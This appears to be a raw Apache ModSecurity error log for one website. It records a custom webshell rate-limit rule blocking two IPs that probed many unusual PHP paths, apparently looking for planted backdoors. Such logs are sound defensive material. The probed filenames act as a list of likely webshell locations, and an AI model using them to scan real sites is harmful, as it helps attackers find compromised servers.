[Sat May 23 20:54:42.268002 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1238] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date.php"] [unique_id "ahGjksyrPrcAqE-FOKKhXQAAAcg"]
[Sat May 23 20:54:42.638936 2026] [:error] [pid 44326:tid 44373] [client 4.213.99.137:1176] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date.php"] [unique_id "ahGjksyrPrcAqE-FOKKhYAAAAdI"]
[Sat May 23 20:54:43.049983 2026] [:error] [pid 44326:tid 44365] [client 4.213.99.137:1347] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo.php"] [unique_id "ahGjk8yrPrcAqE-FOKKhYQAAAco"]
[Sat May 23 20:54:43.482318 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1110] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo.php"] [unique_id "ahGjk8yrPrcAqE-FOKKhZQAAAcM"]
[Sat May 23 20:54:43.833324 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1449] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pomo.php"] [unique_id "ahGjk8yrPrcAqE-FOKKhZgAAAcs"]
[Sat May 23 22:13:37.614351 2026] [:error] [pid 30941:tid 30985] [client 20.63.33.98:21427] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahG2EXTIgjSDhiZmvlUNKwAAAEk"]
[Sat May 23 22:13:38.996692 2026] [:error] [pid 25876:tid 25882] [client 20.63.33.98:34633] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahG2EgSpWUCKPezIBJC68wAAAQQ"]
[Sat May 23 22:13:40.213327 2026] [:error] [pid 25876:tid 25897] [client 20.63.33.98:12591] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahG2FASpWUCKPezIBJC69gAAARM"]
[Sat May 23 22:13:41.405788 2026] [:error] [pid 30941:tid 30998] [client 20.63.33.98:16660] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "ahG2FXTIgjSDhiZmvlUNNgAAAFY"]
[Sat May 23 22:13:42.280628 2026] [:error] [pid 30940:tid 30950] [client 20.63.33.98:1927] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wehrman.php"] [unique_id "ahG2FpqUP2XZmzp7RDoWjwAAAAE"]
[Sat May 23 22:13:43.386814 2026] [:error] [pid 30941:tid 30997] [client 20.63.33.98:7793] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wehrman.php"] [unique_id "ahG2F3TIgjSDhiZmvlUNOgAAAFU"]
[Sat May 23 22:13:44.196907 2026] [:error] [pid 25876:tid 25889] [client 20.63.33.98:57565] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wehrman.php"] [unique_id "ahG2GASpWUCKPezIBJC7AQAAAQs"]
[Sat May 23 22:13:45.351100 2026] [:error] [pid 44325:tid 44337] [client 20.63.33.98:35559] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wehrman.php"] [unique_id "ahG2GVgUQb4puB_2yV84BAAAAYk"]
[Sat May 23 22:13:46.290890 2026] [:error] [pid 30941:tid 31000] [client 20.63.33.98:7799] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-thi.php"] [unique_id "ahG2GnTIgjSDhiZmvlUNQAAAAFg"]
[Sat May 23 22:13:47.930008 2026] [:error] [pid 30941:tid 30982] [client 20.63.33.98:14926] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-thi.php"] [unique_id "ahG2G3TIgjSDhiZmvlUNRwAAAEY"]
[Sat May 23 22:13:49.526550 2026] [:error] [pid 44326:tid 44371] [client 20.63.33.98:19297] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-thi.php"] [unique_id "ahG2HcyrPrcAqE-FOKK2mAAAAdA"]
[Sat May 23 22:13:51.424811 2026] [:error] [pid 44326:tid 44365] [client 20.63.33.98:21866] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-thi.php"] [unique_id "ahG2H8yrPrcAqE-FOKK2nQAAAco"]
[Sat May 23 22:13:56.104705 2026] [:error] [pid 44325:tid 44350] [client 20.63.33.98:14928] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahG2JFgUQb4puB_2yV84FgAAAZY"]
[Sat May 23 22:13:58.609313 2026] [:error] [pid 44296:tid 44303] [client 20.63.33.98:1959] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahG2JpdrUdFI6ijvMkmcXQAAAUU"]
[Sat May 23 22:14:00.061819 2026] [:error] [pid 30941:tid 30998] [client 20.63.33.98:25130] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahG2KHTIgjSDhiZmvlUNWwAAAFY"]
[Sat May 23 22:14:01.914180 2026] [:error] [pid 44326:tid 44378] [client 20.63.33.98:17024] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/z.php"] [unique_id "ahG2KcyrPrcAqE-FOKK2rwAAAdc"]
[Sat May 23 22:14:02.858197 2026] [:error] [pid 30941:tid 30980] [client 20.63.33.98:26750] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahG2KnTIgjSDhiZmvlUNXQAAAEQ"]
[Sat May 23 22:14:03.779519 2026] [:error] [pid 44326:tid 44356] [client 20.63.33.98:13738] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahG2K8yrPrcAqE-FOKK2uQAAAcE"]
[Sat May 23 22:14:04.936771 2026] [:error] [pid 31039:tid 31063] [client 20.63.33.98:12575] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahG2LKIYDYo8WvA5zLJRPQAAANY"]
[Sat May 23 22:14:06.061436 2026] [:error] [pid 44326:tid 44367] [client 20.63.33.98:57540] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ahG2LsyrPrcAqE-FOKK2vwAAAcw"]
[Sat May 23 22:14:06.979038 2026] [:error] [pid 30940:tid 30968] [client 20.63.33.98:35537] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ahG2LpqUP2XZmzp7RDoWrQAAABM"]
[Sat May 23 22:14:08.759334 2026] [:error] [pid 30942:tid 31013] [client 20.63.33.98:7783] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ahG2MNUosz64YFiBlG2ABgAAAIo"]
[Sat May 23 22:14:10.124502 2026] [:error] [pid 44326:tid 44368] [client 20.63.33.98:1969] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ahG2MsyrPrcAqE-FOKK2xgAAAc0"]
[Sat May 23 22:14:11.004099 2026] [:error] [pid 30941:tid 30980] [client 20.63.33.98:24752] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ahG2M3TIgjSDhiZmvlUNZgAAAEQ"]
[Sat May 23 22:14:12.054915 2026] [:error] [pid 44326:tid 44375] [client 20.63.33.98:8949] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahG2NMyrPrcAqE-FOKK2ywAAAdQ"]
[Sat May 23 22:14:13.063270 2026] [:error] [pid 25876:tid 25879] [client 20.63.33.98:35569] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahG2NQSpWUCKPezIBJC7EAAAAQE"]
[Sat May 23 22:14:15.156684 2026] [:error] [pid 30942:tid 31007] [client 20.63.33.98:24711] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahG2N9Uosz64YFiBlG2ADAAAAIQ"]
[Sat May 23 22:14:15.823152 2026] [:error] [pid 44326:tid 44373] [client 20.63.33.98:24764] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "ahG2N8yrPrcAqE-FOKK20QAAAdI"]
[Sat May 23 22:14:16.983762 2026] [:error] [pid 25876:tid 25884] [client 20.63.33.98:13353] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahG2OASpWUCKPezIBJC7FgAAAQY"]
[Sat May 23 22:14:18.013840 2026] [:error] [pid 30941:tid 30997] [client 20.63.33.98:1859] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahG2OnTIgjSDhiZmvlUNagAAAFU"]
[Sat May 23 22:14:19.612739 2026] [:error] [pid 44325:tid 44337] [client 20.63.33.98:1891] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahG2O1gUQb4puB_2yV84IQAAAYk"]
[Sat May 23 22:14:21.671435 2026] [:error] [pid 44325:tid 44336] [client 20.63.33.98:1923] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahG2PVgUQb4puB_2yV84JAAAAYg"]
[Sat May 23 22:14:22.693171 2026] [:error] [pid 30941:tid 30983] [client 20.63.33.98:34677] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahG2PnTIgjSDhiZmvlUNcwAAAEc"]
[Sat May 23 22:14:23.626301 2026] [:error] [pid 31039:tid 31049] [client 20.63.33.98:24238] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahG2P6IYDYo8WvA5zLJRRgAAAMg"]
[Sat May 23 22:14:24.735022 2026] [:error] [pid 44325:tid 44331] [client 20.63.33.98:14972] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahG2QFgUQb4puB_2yV84JwAAAYM"]
[Sat May 23 22:14:26.064755 2026] [:error] [pid 30940:tid 30958] [client 20.63.33.98:14949] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atomlib.php"] [unique_id "ahG2QpqUP2XZmzp7RDoWtQAAAAk"]
[Sat May 23 22:14:27.979979 2026] [:error] [pid 44326:tid 44367] [client 20.63.33.98:6993] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-der.php"] [unique_id "ahG2Q8yrPrcAqE-FOKK23gAAAcw"]
[Sat May 23 22:14:29.333589 2026] [:error] [pid 30942:tid 31018] [client 20.63.33.98:24200] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-der.php"] [unique_id "ahG2RdUosz64YFiBlG2AGQAAAI8"]
[Sat May 23 22:14:30.475060 2026] [:error] [pid 30942:tid 31007] [client 20.63.33.98:24712] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-der.php"] [unique_id "ahG2RtUosz64YFiBlG2AGgAAAIQ"]
[Sat May 23 22:14:32.111125 2026] [:error] [pid 31039:tid 31052] [client 20.63.33.98:35070] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-der.php"] [unique_id "ahG2SKIYDYo8WvA5zLJRTAAAAMs"]
[Sat May 23 22:14:33.393313 2026] [:error] [pid 44296:tid 44305] [client 20.63.33.98:7003] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "ahG2SZdrUdFI6ijvMkmcgwAAAUc"]
[Sat May 23 22:14:34.436113 2026] [:error] [pid 30940:tid 30954] [client 20.63.33.98:13725] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "ahG2SpqUP2XZmzp7RDoWvAAAAAU"]
[Sat May 23 22:14:35.450149 2026] [:error] [pid 44296:tid 44301] [client 20.63.33.98:35549] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "ahG2S5drUdFI6ijvMkmciQAAAUM"]
[Sat May 23 22:14:48.969995 2026] [:error] [pid 44326:tid 44364] [client 20.63.33.98:1946] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahG2WMyrPrcAqE-FOKK3AwAAAck"]
[Sat May 23 22:14:50.574945 2026] [:error] [pid 30942:tid 31021] [client 20.63.33.98:1206] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahG2WtUosz64YFiBlG2AKAAAAJI"]
[Sat May 23 22:14:51.707560 2026] [:error] [pid 30940:tid 30967] [client 20.63.33.98:12251] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahG2W5qUP2XZmzp7RDoWwwAAABI"]
[Sat May 23 22:14:53.823766 2026] [:error] [pid 25876:tid 25880] [client 20.63.33.98:25884] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dropdown.php"] [unique_id "ahG2XQSpWUCKPezIBJC7IgAAAQI"]
[Sat May 23 22:14:55.200986 2026] [:error] [pid 30941:tid 30985] [client 20.63.33.98:57597] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahG2X3TIgjSDhiZmvlUNywAAAEk"]
[Sat May 23 22:14:56.015765 2026] [:error] [pid 30941:tid 30996] [client 20.63.33.98:7031] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahG2YHTIgjSDhiZmvlUN1wAAAFQ"]
[Sat May 23 22:14:56.672864 2026] [:error] [pid 31039:tid 31054] [client 20.63.33.98:34627] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahG2YKIYDYo8WvA5zLJRYAAAAM0"]
[Sat May 23 22:14:57.860992 2026] [:error] [pid 30941:tid 30984] [client 20.63.33.98:10674] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahG2YXTIgjSDhiZmvlUN8gAAAEg"]
